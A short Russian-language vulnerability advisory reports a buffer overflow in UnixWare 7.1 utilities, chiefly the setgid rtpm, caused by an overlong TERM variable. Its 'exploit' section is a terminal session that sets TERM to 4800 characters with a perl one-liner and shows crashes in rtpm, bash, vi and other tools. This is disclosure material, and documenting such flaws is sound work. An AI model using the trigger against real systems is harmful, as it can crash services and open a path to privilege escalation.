При длинной shell переменной TERM происходит переполнение буфера в некоторых утилитах Unixware 7.1, например в Sgid bin rtpm.
Эксплоит:
$ uname -a
UnixWare paris 5 7.1.1 i386 x86at SCO UNIX_SVR5
(this is a two node NSC)
$ id
uid=101(fixxxer) gid=1(other)
$ ls -al /usr/sbin/rtpm
-r-xr-sr-x 1 bin sys 288324 Mar 22 22:35 /usr/sbin/rtpm
$ export TERM=`perl -e 'printf "B"x4800'`
$ rtpm
Memory fault
$ bash
Memory fault(coredump)
$ vi
Memory fault(coredump)
$ ndcfg
Memory fault(coredump)
$ scoadmin
Fatal error: (vTcl interp) Connection closed unexpectedly - No Data Error Information logged to: /tmp/tclerror.131977.log $ more Memory fault $ man sendmail
/usr/bin/html2ascii: line 34: 132022: Memory fault
$ /usr/local/bin/less
Memory fault
$ /usr/local/bin/gdb rtpm
Memory fault
